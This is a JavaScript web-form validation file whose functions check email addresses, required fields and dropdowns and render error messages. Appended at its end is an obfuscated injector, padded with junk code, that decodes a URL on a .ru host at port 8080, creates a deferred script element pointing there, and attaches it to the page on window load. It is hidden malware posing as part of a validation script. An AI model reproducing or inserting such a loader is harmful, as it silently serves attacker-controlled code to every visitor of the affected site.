// JavaScript Document

function emailCheck (emailStr) {

var checkTLD=1;
var knownDomsPat=/^(com|net|org|edu|int|mil|gov|arpa|biz|aero|name|coop|info|pro|museum)$/;
var emailPat=/^(.+)@(.+)$/;
var specialChars="\\(\\)><@,;:\\\\\\\"\\.\\[\\]";
var validChars="\[^\\s" + specialChars + "\]";
var quotedUser="(\"[^\"]*\")";
var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/;
var atom=validChars + '+';
var word="(" + atom + "|" + quotedUser + ")";
var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$");
var matchArray=emailStr.match(emailPat);

	if (matchArray==null) {
	alert("Email address seems incorrect (check @ and .'s)");
	return false;
	}//end if

var user=matchArray[1];
var domain=matchArray[2];

	for (i=0; i<user.length; i++) {
		if (user.charCodeAt(i)>127) {
		alert("Ths username contains invalid characters.");
		return false;
		   }//end if
	}//end for loop
	
	for (i=0; i<domain.length; i++) {
		if (domain.charCodeAt(i)>127) {
		alert("Ths domain name contains invalid characters.");
		return false;
		   }//end if 
	}//end for loop

	if (user.match(userPat)==null) {	
	// user is not valid	
		alert("The username doesn't seem to be valid.");
		return false;
	}//end if

var IPArray=domain.match(ipDomainPat);
	if (IPArray!=null) {
	// this is an IP address
		for (var i=1;i<=4;i++) {
			if (IPArray[i]>255) {
			alert("Destination IP address is invalid!");
			return false;
			   }//end if
		}//end for loop
		return true;
	}//end if
 
var atomPat=new RegExp("^" + atom + "$");
var domArr=domain.split(".");
var len=domArr.length;
	for (i=0;i<len;i++) {
		if (domArr[i].search(atomPat)==-1) {
			alert("The domain name does not seem to be valid.");
			return false;
		   }//end if
	}//end for
	
	if (checkTLD && domArr[domArr.length-1].length!=2 && 
	domArr[domArr.length-1].search(knownDomsPat)==-1) {
		alert("The address must end in a well-known domain or two letter " + "country.");
		return false;
	}//end if
	
	if (len<2) {
		alert("This address is missing a hostname!");
		return false;
	}//end if
	
	// If we've gotten this far, everything's valid!
	return true;
}//end function

function hightLightField(txtFieldTitle)
{	txtFieldTitle = "Required";
	//return "<font size='2' color='red'><strong>&nbsp;&nbsp;"+txtFieldTitle+"</strong></font>"; 
	return "<font class='bodytext6' >&nbsp;&nbsp;"+txtFieldTitle+"</font>"; 	
}//end function

function hightLightField_char(txtFieldTitle)
{	txtFieldTitle = "Only allows a-z, A-Z";
	//return "<font size='2' color='red'><strong>&nbsp;&nbsp;"+txtFieldTitle+"</strong></font>"; 
	return "<font class='bodytext6' >&nbsp;&nbsp;"+txtFieldTitle+"</font>"; 	
}//end function

function errorMsg(msgID)
{	var icon;
	var msg;
	//var cssClass="bodytext7"; 
	var txtAlign="left";
	
	switch(msgID)
	{	case 1: 
			cssClass = "errorMsg";
			//icon = "../images/smallWarningIcon.gif"; 
			msg = "WARNING: The field(s) marked with '*' are required";
			break;
			
		case 2: 
			cssClass = "LoginErrorMsg";
			//icon = "../images/smallWarningIcon.gif"; 
			msg = "Username or password are required. Please try again.";			
			txtAlign = "center";
			break;

		case 3: 
			cssClass = "LoginErrorMsg";
			//icon = "../images/smallWarningIcon.gif"; 
			msg = "User email is required. Please try again.";			
			txtAlign = "center";
			break;			

	}//end switch

	var errorMsg = "<table width='100%'><tr>"
		//errorMsg += "<td><img src='"+icon+"'></td>"
		//errorMsg += "<td bgcolor='#F6F6F6' align='left' style='padding-left:10px; font-size:14px; font-family:tahoma;' ><font color='red'><br/>"+msg+"<br/><br/></font></td>";
		errorMsg += "<td bgcolor='#F6F6F6' align='left' class='bodytext6' ><br/>&nbsp;&nbsp;&nbsp;"+msg+"<br/><br/></td>";
		errorMsg += "</tr></table>";	

	return errorMsg;
}//end function


function validate_required(field, alerttxt)
{	
	with (field)
	{	if (value==null||value=="")
	 	 {	document.getElementById(alerttxt).innerHTML=hightLightField(document.getElementById(alerttxt).title);
			return false				
		 }
		else 
		 {	document.getElementById(alerttxt).innerHTML=document.getElementById(alerttxt).title;  
		 	return true	
		}//end if else		 
	}//end with
}//end function

function validate_email(field, alerttxt)
{	with(field)
	{	if(emailCheck(value))
		{	document.getElementById(alerttxt).innerHTML=document.getElementById(alerttxt).title;  return true	}//end if else		
		else 
		{	document.getElementById(alerttxt).innerHTML=hightLightField(document.getElementById(alerttxt).title);
			return false				
		}//end if else
	}//end with
}//end function

function validate_required_dropdown(field,alerttxt)
{	with (field)
	{	if (value==null||value== '0')
		  	 {	document.getElementById(alerttxt).innerHTML=hightLightField(document.getElementById(alerttxt).title);  return false				
			 }
		else {	document.getElementById(alerttxt).innerHTML=document.getElementById(alerttxt).title;  return true	}//end if else			
	}//end with
}//end function

function validate_form(thisform)
{	var invalidcount = 0;
	var filter = /^[a-zA-Z ]+$/ ;
	with (thisform)
	{	invalidcount = (validate_required(txtName, "name_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtCompany, "company_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtAddress, "address_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtState, "state_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtZip, "zip_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtCountry, "country_error"))? invalidcount : ++invalidcount;
		invalidcount = (validate_required(txtPhone, "phone_error"))? invalidcount : ++invalidcount;
		if(validate_required(txtEmail,"email_error"))
		{	invalidcount = (validate_email(txtEmail, "email_error"))? invalidcount : ++invalidcount
		}else
		{	invalidcount++
		}//end if else	
		invalidcount = (validate_required(txtComment, "comment_error"))? invalidcount : ++invalidcount		
	}//end with
	
	if(!filter.test(thisform.txtName.value) && thisform.txtName.value!= "")
	{
		
		document.getElementById("name_error").innerHTML=hightLightField_char();	
		return false;	
	}

	if(invalidcount > 0)
	{	document.getElementById("form_error").innerHTML=errorMsg(1);		
		return false;
	}else
	{	return true;	}//end if else

}//end function




var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";
